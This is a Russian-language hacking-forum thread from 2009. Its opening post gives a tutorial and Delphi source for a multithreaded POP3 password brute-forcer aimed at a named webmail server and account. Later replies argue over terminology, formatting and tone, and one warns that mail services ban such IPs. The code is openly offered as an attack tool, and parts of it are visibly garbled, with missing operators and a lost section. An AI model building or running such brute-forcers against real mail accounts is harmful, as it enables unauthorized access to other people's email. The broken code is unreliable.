ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > С/С++, C#, Delphi, .NET, Asm
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Брутфорс на Delphi
  #1  
Старый 12.01.2009, 10:54
***xaknem***
Новичок
Регистрация: 10.01.2009
Сообщений: 3
Провел на форуме:
50797

Репутация: 20
Отправить сообщение для ***xaknem*** с помощью ICQ
По умолчанию Брутфорс на Delphi

Рассмотрим написание брутфорса на Delphi, с использованием функций WinAPI для работы с сокетом. Переписать на перл, си или асм потом проблем нет никаких - оно все отличается только синтаксисом вызова функций. Также потребуется какой-нибудь telnet-клиент, port-mapper или tcp-logger для исследования ответов сервера.
POP3. 110 порт. Интересующие нас команды - "user" и "pass". Предположим, что надо подобрать пароль на freemail.ukr.net у пользователя dndanil (это мой - специально для экспериментов). Ломанемся по телнету на freemail.ukr.net:110 и введем "user dndanil". Потом "pass password". Посмотрим ответы. Если после оценки скорости желание не отпало, то надо написать прогу, которая будет коннектится к серваку и перебирать пароли с отслеживанием ошибок. Прогу будем писать с учетом продвинутых технологий при создании различных сканеров - многопоточность, т.е. перебирать пароли будут сразу несколько процессов. Так, вроде, быстрей. Для этого надо ввести класс, описывающий наш процесс. Кол-во одновременно запущенных процессов зависит от железа и скорости соединения с инетом. Для перебора будем использовать файл с паролями, который загрузим в TStringList (список строк). Итак, создадим для наглядности окно и влепим туда кнопку "Hack it" :-) и ProgressBar с Win32. Вот исходники с комментариями брутфорсера для POP3-сервера:

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ComCtrls, StdCtrls, WinSock;

type
TForm1 = class(TForm)
Button1: TButton;
ProgressBar1: TProgressBar;
procedure Button1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

// Описание процесса
type
TScan = class(TThread)
sock2 : TSocket;
addr:TSockAddrIn;
WSAData : TWSAData;
private
procedure CScan;
protected
procedure Execute; override;
end;

var
Form1: TForm1;
// Массив процессов
Sock : array[1..255] of TScan;
Rez : boolean = false;
// Кол-во запущенных процессов на данный момент
I0 : Integer;
// Номер текущего пароля
I : Integer;
// TStringList с паролями
PassList : TStringList;

const
FilePass = 'pass.txt'; // Файл с паролями в каталоге проги
ProcCount = 10; // кол-во процессов
POP3serv = '212.42.64.13'; // POP3 server (отпингованый)
User = 'dndanil';

implementation
{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
begin
PassList:=TStringList.Create;
end;

// Запуск / Остановка
procedure TForm1.Button1Click(Sender: TObject);
begin
if Rez then
Rez:=false
else
begin
// Открытие и загрузка файла паролей
try
PassList.Clear;
PassList.LoadFromFile(FilePass);
except
end;
if PassList.CountProcCount)or(not Rez) then
break;
end;
end;
end;

// Проца инициализации процесса
procedure TScan.Execute;
begin
try
// Запуск цикла
while true do
begin
CScan;
//Выход, если подобрали или закончился словарь
if (not Rez)or(I>=PassList.Count) then
break;
end;
except
end;
dec(I0);
try
Terminate;
except
end;
//Если все процессы прерваны -
if I00 then
begin
try
closesocket(sock2);
except
end;
exit;
end;
//Получение при соединении
x:=recv(sock2,buf,sizeof(Buf),0);
if (x=SOCKET_ERROR)or(buf[1]'+') then
exit;
//"user user"
sender('user '+User+#13+#10);
x:=recv(sock2,buf,sizeof(Buf),0);
if (x=SOCKET_ERROR)or(buf[1]'+') then
exit;
//"pass password"
sender('pass '+PassList.Strings[I2]+#13+#10);
x:=recv(sock2,buf,sizeof(Buf),0);
//Если подобралось
if (x>3)and(buf[1]='+') then
begin
Rez:=false;
Application.MessageBox(PChar('Pass = '+PassList.Strings[I2]),'ENJOY',mb_Ok);
exit;
end;
try
closesocket(sock2);
except
end;
except
end;
end;

end.
 
Ответить с цитированием

  #2  
Старый 12.01.2009, 11:20
bombeg
Участник форума
Регистрация: 27.10.2008
Сообщений: 244
Провел на форуме:
963613

Репутация: 428
По умолчанию

перепиши на асм, пожалуйста. хочу посмотреть и взять что-нибудь на заметку!
 
Ответить с цитированием

  #3  
Старый 12.01.2009, 11:24
neprovad
Постоянный
Регистрация: 19.10.2007
Сообщений: 794
Провел на форуме:
1013791

Репутация: 711


По умолчанию

терминология хромает, "отпингованый", процессы равнозначные потокам..
 
Ответить с цитированием

  #4  
Старый 12.01.2009, 11:25
neprovad
Постоянный
Регистрация: 19.10.2007
Сообщений: 794
Провел на форуме:
1013791

Репутация: 711


По умолчанию

Цитата:
Сообщение от bombeg  
перепиши на асм, пожалуйста. хочу посмотреть и взять что-нибудь на заметку!
вам корона голову не жмет? ТС и так постарался как смог.
 
Ответить с цитированием

  #5  
Старый 12.01.2009, 11:53
***xaknem***
Новичок
Регистрация: 10.01.2009
Сообщений: 3
Провел на форуме:
50797

Репутация: 20
Отправить сообщение для ***xaknem*** с помощью ICQ
По умолчанию

bombeg,извини конечно,но переписывать я не буду,кому действительно нужно,может сам переписать...Удачи!
 
Ответить с цитированием

  #6  
Старый 12.01.2009, 11:57
Sn@k3
Познавший АНТИЧАТ
Регистрация: 13.04.2006
Сообщений: 1,738
Провел на форуме:
5151669

Репутация: 1198


Отправить сообщение для Sn@k3 с помощью ICQ
По умолчанию

Цитата:
Сообщение от neprovad  
терминология хромает, "отпингованый", процессы равнозначные потокам..
умный такой?????? ну напиши сам, блин бесит придерается к херне, напиши сам что ты?
 
Ответить с цитированием

  #7  
Старый 12.01.2009, 12:26
preda1or
Участник форума
Регистрация: 27.10.2008
Сообщений: 278
Провел на форуме:
1495545

Репутация: 242
Отправить сообщение для preda1or с помощью ICQ
По умолчанию

Хотя бы отформатировал нормально и код и статью, было бы намного лучше)
 
Ответить с цитированием

  #8  
Старый 12.01.2009, 12:28
bombeg
Участник форума
Регистрация: 27.10.2008
Сообщений: 244
Провел на форуме:
963613

Репутация: 428
По умолчанию

Цитата:
Сообщение от Sn@k3  
умный такой?????? ну напиши сам, блин бесит придерается к херне, напиши сам что ты?
есть информация ценная, есть информация ради букв.
 
Ответить с цитированием

  #9  
Старый 12.01.2009, 12:47
neprovad
Постоянный
Регистрация: 19.10.2007
Сообщений: 794
Провел на форуме:
1013791

Репутация: 711


По умолчанию

Цитата:
Сообщение от Sn@k3  
умный такой?????? ну напиши сам, блин бесит придерается к херне, напиши сам что ты?
во-первых, это не херня а информация, на написание которой которой ТС потратил какое-то время.
во-вторых, это форум и каждый волен излагать свои мысли как ему нравится, что я и сделал.
p.s. если тебя бесит - успокойся, выпей валерьянки
 
Ответить с цитированием

  #10  
Старый 12.01.2009, 15:36
_nic
Постоянный
Регистрация: 05.05.2006
Сообщений: 743
Провел на форуме:
2982851

Репутация: 107


По умолчанию

Вообще то если так тупо ломится с неподходящими логинами/пассами.То на любом уважающем себя мыльном сервисе айпишник с которого это происходит весьма быстро уйдет в бан.
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ